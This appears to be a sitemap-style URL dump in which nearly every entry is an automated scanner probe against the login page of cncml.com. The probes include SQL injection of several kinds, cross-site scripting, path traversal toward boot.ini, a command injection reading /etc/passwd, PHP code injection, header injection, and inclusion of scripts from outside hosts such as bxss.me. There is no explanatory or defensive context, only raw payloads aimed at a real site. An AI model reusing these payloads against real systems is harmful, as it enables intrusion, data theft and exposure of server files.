http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes,(SELECT%20CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20FROM%20SYSCOLUMNS) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes,(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes,EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes/**/AND/**/1=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes1 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes6633x3X6 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yesAND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yesJyI%3D 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yesa' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yesalert(42873) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yese360 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=$%7B@print(md5(1122))%7D 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=%0d%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=%0d%0a%20SomeCustomInjectedHeader:injected_by_test 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=%3C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=%3C?php%20print(md5(1122));exit;?%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=%3Cdir 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=%60ping%20-c%205%20127.0.0.1%60 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=%7C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=%7Cping%20-n%205%20127.0.0.1%7C 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=%7Cping+-c+4+127.0.0.1 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afboot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit='%5D;print(md5(1122));// 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=');print(md5(1122));// 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=';?%3E%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=(SELECT%20(CASE%20WHEN%20(93=44)%20THEN%200x796573%20ELSE%2093*(SELECT%2093%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=(SELECT%20CHAR(116)%2bCHAR(104)%2bCHAR(105)%2bCHAR(110)%2bCHAR(107)%2bCHAR(58)%2b(SELECT%20(CASE%20WHEN%20(1943=1943)%20THEN%20CHAR(105)%20ELSE%20CHAR(48)%20END))%2bCHAR(58)%2bCHAR(100)%2bCHAR(105)%2bCHAR(102)%2bCHAR(102)%2bCHAR(101)%2bCHAR(114)%2bCHAR(101)%2bCHAR(110)%2bCHAR(116)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afboot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=................windowswin.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././boot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=../../../../../../../../boot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=../../../../../../../../boot.ini%00 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=../../../../../../../../boot.ini%00.htm 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=../../../../../../../../boot.ini%00.html 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=../../../../../../../../boot.ini%00.jpg 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=../../../../../../../../boot.ini%00.txt 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=../..//../..//../..//../..//../..//../..//../..//../..//boot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=/.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./boot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=;$%7B@print(md5(1122))%7D; 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=;cat%20/etc/passwd; 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=;print(md5(1122));%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=C:%5Cboot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=data:text/plain,%3C%3Fphp%20print%28md5%281122%29%29%3B%3F%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=die(md5($_get%5Bwebscan%5D));&webscan=1122 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=dir 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=file:///c:/boot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=http://hitBAo6EKQnyr.bxss.me/ 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=http://hitd0rQGQge8t.bxss.me/ 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=http://oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=http://some-inexistent-website.com/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=http://testasp.vulnweb.com/t/fit.txt 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=phpinfo 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=response.write(9412458*9542755) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=set%7Cset&set 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes 0.0014 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes!(%28%29&%26%21%7C*%7C%2A%7C 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes%00' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes%20 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes%20AND%20SLEEP(5) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes%22%20onmousemove='alert(42873)'wb=%22 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes%22%20onmousemove=alert(42873)%20wb=%22 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes%22%20onmouseover=prompt(42873)%20bad=%22 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes%22%20onmouseover=propromptmpt(42873)%20bad=%22 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes%25%27%29%20AND%2019%3D14%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes%25%27%29%20AND%2038%3D38%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes%25'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes%25'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes%25'%20AND%2014=99%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes%25'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes%25'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes%25'%20AND%2061=61%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(37=17)%20THEN%20'yes'%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(77=77)%20THEN%20'yes'%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes%25';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes%2527 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes%2527%20AND%2031=31%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes%2527%20AND%2042=64%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes%3CBASE%20HREF=%22javascript:alert(42873);//%22%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes%3CEMBED%20SRC=javascript:alert(42873)%3E%3C/EMBED%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes%3Ca%20href%3D%26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2397%26%23108%26%23101%26%23114%26%23116%26%2340%26%2349%26%2350%26%2351%26%2352%26%2353%26%2341%3ETEST%3C/a%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes%3Cbody%20ONLOAD=alert(42873)%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes%3Cdiv%20style=width:expression(alert(42873))%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes%3Ciframe%20SRC=javascript:alert(42873)%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes%3Ciframe%20src=http://xxooxxoo.js%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes%3Cimg%20src=1%20onerror=alert(42873)%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes%3Cobject%20data=data:text/html;base64,PHNjcmlwdD5hbGVydCg0Mjg3Myk8L3NjcmlwdD4=%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes%3Cscript%20src=http://xxooxxoo.js%3E%3C/script%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes%3Cscript%3Ealert(42873)%3C/script%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes%5B%5D 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes%5C%22 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes%5C' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes%a8%a4%00xa7%a8%a4%a1%e9 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes%bf%27 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes'%20AND%20'ZZ'='vp 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes'%20AND%20'hg'='hg 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'Ta'='Ta 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'TnT'='TnT 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes'%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes'%20OR%20'fc'='fc'%20LIMIT%20100%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(14=18)%20THEN%20'yes'%20ELSE%200x28%20END))%20AND%20'bY'='bY 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(74=74)%20THEN%20'yes'%20ELSE%200x28%20END))%20AND%20'fM'='fM 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes'%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes'%22 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes'%22%5C'%5C%22%2527%3d%bf%27%B0 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes'%5B.%5D(,.)(%22 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes')%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20('NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes')%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20('Ta'='Ta 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 